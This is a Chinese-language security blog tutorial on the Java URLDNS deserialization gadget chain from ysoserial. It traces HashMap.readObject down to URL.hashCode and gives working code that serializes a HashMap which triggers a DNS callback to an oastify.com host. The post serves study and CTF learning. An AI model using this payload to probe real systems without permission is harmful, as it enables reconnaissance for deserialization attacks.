osthing's blog
GitHub RSS
2 min read

JAVA_SEC从0.5到1_UrlDns链

2024-08-20

ctf web java_sec 代码审计 反序列化

我入门的第一条链子,我们可以直接从ysoserial里面链子进行分析

/*
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
 */

我们构建好环境开始分析,我这里用的是java 8u65版本,任意版本都可以

URL.hashCode()

那么我们直接从最底下的hashCode开始看

    public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

这里面调用了一个handlerhashCode()我们跟进去看一下

protected int hashCode(URL u) {
    int h = 0;

    // Generate the protocol part.
    String protocol = u.getProtocol();
    if (protocol != null)
        h += protocol.hashCode();

    // Generate the host part.
    InetAddress addr = getHostAddress(u);
    if (addr != null) {
        h += addr.hashCode();
    } else {
        String host = u.getHost();
        if (host != null)
            h += host.toLowerCase().hashCode();
    }

    // Generate the file part.
    String file = u.getFile();
    if (file != null)
        h += file.hashCode();

    // Generate the port part.
    if (u.getPort() == -1)
        h += getDefaultPort();
    else
        h += u.getPort();

    // Generate the ref part.
    String ref = u.getRef();
    if (ref != null)
        h += ref.hashCode();

    return h;
}

那么我们最终要掉用的函数就是getHostAddress了,看简介就是进行一次访问的,这条链的目的就是用于测试一个攻击点是否可以用反序列化攻击

Get the IP address of our host. An empty host field or a DNS failure will result in a null return.

我们简单测试一下

package org.example;

import java.net.MalformedURLException;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws MalformedURLException {
        URL url=new URL("http://rni5ssk3vjwz6l7kzf113aezpqvhj97y.oastify.com");
        url.hashCode();
    }
}

我们能再bp里面收到一条记录,说明成功访问到了

我们的目的是要反序列化的,也就是说我们要找一层一层调用能调用到带有重写readObject方法的类

知道这条链是干什么的我们就可以开始回到hashCode开始跟了,我们需要找可以利用的类也调用了hashCode这个同名函数,这么说可能有点懵,我们看上面ysoserial里的链子是HashMap.hash(),我们也可以按两下shift找到同名调用函数

HashMap.hash()

找到HashMap.hashCode()后我们看一下

    static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

这里面调用了hashCode,那么我们的目标是让key=URL才行,我们试一下直接调用,发现是调用不了的我们要通过类名进行调用,那么直接调用是不行了,不过我们可以看一下HashMap里肯定有调用这个方法的地方,同样是find us找到

那么就进到ysoseri里的HashMap.putVal()

HashMap.putVal()

我们看一下源码put调用了putVal同时调用了hash

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

还是public那么我们就可以调试一下看一下了

package org.example;

import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws MalformedURLException {
        URL url=new URL("http://g1iu6hys98aokal9d4fqhzso3f96xzlo.oastify.com");
        HashMap hashMap=new HashMap<>();
        hashMap.put(url,1);
    }
}

成功解析到dns

那么我们能成功调用到之后我们就要开始找readObject了,我们能看见正好hashmap就有一个readObject

HashMap.readObject()

里面具体写的什么不用管,知道有readObject了直接开始序列化就好了

package org.example;

import java.io.*;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
//        URL url=new URL("http://g1iu6hys98aokal9d4fqhzso3f96xzlo.oastify.com");
//        HashMap hashMap=new HashMap<>();
//        hashMap.put(url,1);
//        serialize(hashMap);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

我们发现并没有收到请求,我们再URL.hashCode打个断点进去调试一下看看,我们发现hashCode的值不是-1,所以直接走到return里面了,没有执行hashcode,所以我们要想办法吧hashCode的值改成-1,那么在运行中修改值就是需要反射进行在运行中修改了

package org.example;

import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class Main {
    public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
        URL url=new URL("http://w1ya6xy89oa4kqlpdkf6hfs43v9mxhl6.oastify.com");
        Field f=Class.forName("java.net.URL").getDeclaredField("hashCode");
        HashMap hashMap=new HashMap<>();
        hashMap.put(url,1);
        f.setAccessible(true);
        f.set(url,-1);
        serialize(hashMap);
//        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

成功收到